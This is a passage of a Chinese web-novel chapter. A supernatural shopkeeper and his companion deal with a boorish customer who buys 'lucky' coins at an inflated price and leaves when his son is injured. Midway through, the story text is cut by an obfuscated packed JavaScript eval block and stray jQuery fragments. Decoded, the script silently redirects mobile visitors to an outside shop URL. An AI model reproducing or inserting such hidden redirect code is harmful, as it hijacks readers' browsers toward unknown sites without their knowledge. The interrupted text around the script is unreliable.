里头应了一声,没一会儿,幺鸡捧着两个红彤彤鎏金边的盒子出来。
跟请出传国玉玺似的,走得小心翼翼。
殷无声带上白手套,轻轻掀开盒盖。
盒子里的东西刚露出来,谢寰“唰”地就往后退了半步,慌乱间左脚绊右脚,站了个踞咧。
那物件上有非常醇厚的念力,已经聚成阳火!
男人还没等殷无声介绍,徒手就将盒子里的物件拿起来,掂了掂翻来覆去的看。
“这不就是古代铜钱儿嘛?你当我没见过世面咋的?”
殷无声从男人手中接过两串铜钱儿,耐心讲解起来。
“这串叫五帝钱,是集齐了顺康雍乾嘉五位皇帝在位时期的真品制币,聚了百年的盛世阳气,镇宅挡煞,旺财运,随身佩戴也方便。”
“这枚就少见了,叫做‘厌胜’。宋代的本命元神母钱,不光能纳财保平安,收藏价值更高。要十多万,您看这个价位您能接受吗?”
听到十多万的价格,男人脸上嚣张劲儿瞬间没了,开始战术性挠头,手指头敲着吧台,说话也虚了。
“你这个……这,我哪知道是真假啊?你说宋代就宋代?整个假的我又不懂。”
“理解您的顾虑。”殷无声笑容温和。
“这东西存世量非常稀少,也是讲究缘分的。您随便找权威机构鉴定,假一赔十。”
谢寰已经快退到门口了,被那满是阳火的铜钱晃得浑身不自在。
看男人磨磨唧唧没完没了,实在忍不住开口。
“他说是真的,就不会有假。”
这玩意儿阳气旺得快把他晃瞎了,能是假的?
男人回头瞅了他一眼,身上乱颤的横肉更嘚瑟了,一脸不服:
“嘿?你说真的就真的?要是假的你赔我百倍?”
“千倍都成。”谢寰冲殷无声不耐烦地摆了摆手。
“不识货赶紧收起来,别瞎耽误功夫。”
殷无声抿嘴笑着,他当然知道谢寰为什么这幅鬼德行,这人发梢已经开始徐徐冒阴气,明显是被阳火逼得快扛不住了。
他刚要合上盒盖,男人突然出手拦住。
“等会儿!那嘟噜五什么钱的,多钱?”
“这个便宜,一万。”
男人还是犹豫了,眼神瞟了瞟吧台上的厚钱包,又瞟了瞟殷无声。
一句哥不差钱,面子有点儿挂不住。
他咬咬牙,拍案一指。
“就它了!”
生意达成,殷无声点点头,极具官方地说了句。
“好的,给您包起来,这边扫码付款。”
“不用包,我付现金。”
男人嘚瑟着拉开钱夹拉链,里面整整齐齐码着五沓红彤彤的票子。
他随手抽出一沓“啪”地拍在吧台上。
“这都小钱儿。”
多看了一眼钱包,想了想,又从包里摸出一张黑色的名片,推过来。
“听说你们这儿,还能接点别的业务?”
谢寰眼尖,一眼便看见名片上烫金的四个大字:岳陶集团。
又是岳陶!
殷无声瞄了一眼名片,却没有表现得很积极,转身把钱塞入验钞机,头都没抬。
送上门来的线索,谢寰可不能让他的话掉地上。
他两个箭步窜过来,一把抄起黑色名片,脸上挤出个比哭还难看的笑:
“有的有的,先生这边请。”
说着抬手指引,就往偏厅带。
男人还在纳闷,吧台里那人还没回话,这个刚才还没个好气儿不耐烦的小子,怎么立马变了脸,好好招待起自己了?
心道怕不是被我这财力所折服,算你有点眼力见。
谢寰学起殷无声的语调,清了清嗓子,冲内堂喊了句:
“二饼,愿客到,上茶!”
学的倒是又快又精准。
等把男人安顿好,殷无声才从吧台里缓缓绕出来。
谢寰凑过去,用胳膊狠狠怼了不情不愿的那人,小声催着。
“磨蹭什么呢,赶紧啊。”
殷无声撅了撅嘴,一副拿他没办法的样子,和谢寰一起进了偏厅。
偏厅不大,就一张方桌,对放两把椅子。
墙上挂着一张巨大的油画,除此之外再无他物。
男人坐在客位,殷无声坐主,谢寰往他旁边一站,像个吉祥物似的等着他老板开口。
殷无声从桌下抽屉里抽出一张表格推过去,上面就是些姓名、出生年月、电话住址之类基础信息。
男人扫了一眼,没填,往旁边一挪,说道。
“是个老头给我的名片,说你们这里能许愿?比庙里还灵?”
殷无声刚要开口,被谢寰抢了先,直勾勾盯着男人。
“你要买凶杀人吗?”
殷无声:???
他猛地转头看着谢寰,眼神里写满“你有病吧”。
男人也愣了,呲着一口大黄牙,尴尬地闷吭两声。
“还……还有这业务呢?”
殷无声赶紧拽住谢寰的衣角,压低声音:
“你别胡说八道,闭会儿嘴吧。”
转过脸重新带上假笑,对男人说。
“新来的伙计不懂事,多有冒犯~”他又把表格往男人面前推了推。
“您可以理解成许愿,主要还是看您是否心诚。”
男人不屑地嗤笑一声,硬卡了口痰,脖子一梗就要往地上吐。
眼角余光扫到脸白到毫无血色的谢寰,阴森森地盯着他,跟要勾魂似的。
他本能地一哆嗦,“咕咚”又把痰咽了回去,噎得直翻白眼。
“说说吧,怎么收费。”男人大咧咧往椅背上一靠,大金链子滑到肚子上。
“先给我来上十个八个愿望试试水?”
殷无声摇摇头,语气平淡:“不收费。”
“哈?不收费?”男人像听见了天大的笑话。
“庙里烧香还得掏个功德钱呢,你这不收费,谁信你是真的?骗鬼呢吧?还搞这么隆重。”
殷无声无语,笑得像一尊端庄的佛。
“那就让我来一笔横财,就现在,要是灵了,我明天来找你,把你那个十几万的币子买了,再给你添一万小费。”
殷无声还是不说话,指尖轻轻敲着桌面,眼神淡然,像在看个跳梁小丑。
不是像,他本来就是。
就在这时,男人兜里的电话铃声炸响,土味dj铃声嗡嗡砸着桌面。
他骂骂咧咧按了两下,贴在耳边,就听见对面是个女人的声音,撕心裂肺地哭喊。
刺得他恨不得把手机扯八百里远。
“喊啥喊!你爹死了你上来就哭丧!!”男人没好气儿地吼。
电话那头的喊声太大,偏厅里又安静。
谢寰和殷无声都听的一清二楚。
女人是他老婆,边哭边说他们儿子过马路被车撞了,正往医院送,人是醒着,就是喊腿疼,估摸是撞断了腿。
男人的脸瞬间绿了红,红了紫。
刚才硬生生咽回去的那口痰,这下算是彻底憋不住了。
“呸!!”地一声狠狠啐在地上,给有洁癖的殷无声,看得一愣接一愣。
男人大手在桌面上一拍。
“他麻了个巴子的,不想活了敢撞我儿子!哪家医院!看我不给这王八犊子脑瓜子削开瓢,我都不姓王!!”
也顾不上什么许愿什么横财了,夹起钱夹,肚子一挺就往外冲。
步子迈得太大,差点被门槛绊倒。
一路骂骂咧咧,胯骨轴子甩得飞快,转眼就没了人影。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718738|208567||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
偏厅里瞬间安静下来,只剩下空气中还飘着没散的烟味和口臭。
谢寰双手插兜,白眼翻上天灵盖,连汗毛都透着股晦气。
他算是开了眼了,就这德行的人,也配家财万贯,还许愿?
一身的业障没遭雷劈,都算地府摸鱼,没早早送他去享福。
殷无声慢悠悠站起身,掸了掸衣摆上不存在的灰尘。
冲谢寰摊开手耸了耸肩膀,藏不住的幸灾乐祸。
“就知道这种人成不了愿客,你看,心急了吧~”
“你早知道,刚才为啥不拦我 ?”
谢寰一踏出偏厅就绷不住了,满脑子都是男人嗦手指,随地吐痰的做派,胃里直犯恶心。
气不打一出来,活像被人塞了一嘴的苍蝇。
殷无声跟在后面,笑得一脸无辜:
“这可不赖我哦,是你非要接过名片的。你啊~向来急性子,下回还是听我的吧~又没说要背着你。”
说完,小陶人们就呼啦啦涌进偏厅。
个个带着迷你小口罩,举着巴掌大的消毒喷壶。
对着那男人坐过的椅子,摸过的桌沿“滋滋滋”一顿猛喷。
地上那口痰,要三个小陶人蹲成一圈,认认真真擦了三遍,跟处理生化污染现场似的,一丝不苟。
谢寰在门口还不忘回头补了一句,眉头皱得能夹死蚊子。
“给他坐过的椅子好好消毒!臭死了一股业障的馊味!”
殷无声回到吧台,把刚刚收的那沓红票往桌上一摔,就哗啦啦地数了起来。
数完抽了几张递给二饼。
“今儿开了个大张,晚上买点好吃的,犒劳犒劳你们谢哥。”
谢寰斜靠在吧台边,瞅他那副财迷样,哧了一声:
“你那些破铜钱,真值一万块?”
殷无声头都没抬,摇了摇手指。
“当然不值。架不住口臭哥财大气粗啊,敲他一笔,刨除今晚的饭钱,剩下的都捐了,也算是化一化这钱上的煞气,积点德。”
谢寰愣了一下,有点意外,抬眼打量。
“你看得见煞气?”
“那当然~”殷无声还有点小得意。
“拉倒吧。”谢寰今天点白眼可真是攒够了。
“梅梅身上种那么深的煞气,也没见你看出来……”
“那能一样嘛!”殷无声立刻反驳,“这是两码事好嘛~”
说着把钱分出一半,递给谢寰。
“别光站着看热闹,帮我数数这半边儿,我刚才数两遍都对不上。”
谢寰本想甩脸子,嘴角抽了抽想说“我堂堂无常使……”,手却已经不受控制地捏起钞票。
俩人就这么堂而皇之,旁若无人地站在吧台里哗啦哗啦数起了现金,纸币翻飞的声音,在安静的店里格外清新。
数到一半,俩人几乎是同一时间顿住了手,猛地抬头看向对视,异口同声。
“梅梅怎么还没回来?”
“梅梅联系上了吗?”
话音落下俩人都僵了一秒,又同时别开脸,假装刚才都同步纯属巧合。
殷无声扯着嗓子冲内堂的方向大喊:“幺鸡!出来!”
门帘被一颗头顶开,幺鸡盯着一头乱蓬蓬的头发探出,腮帮子鼓鼓囊囊,不知道在偷吃什么。
“咋啦老板?”
“梅梅呢?联系上了吗?”
幺鸡赶紧把嘴里的东西咽下去,摇了摇头:
“没有啊,自那天留下字条后,我天天打电话发微信,就是没见她回过。”
殷无声脸上的笑意瞬间收拾的干干净净,眉头紧紧拧成了疙瘩。
“为什么不早说!赶紧,通知老陶。”
幺鸡也不敢耽搁,脖子一缩。
“是!老板!”
……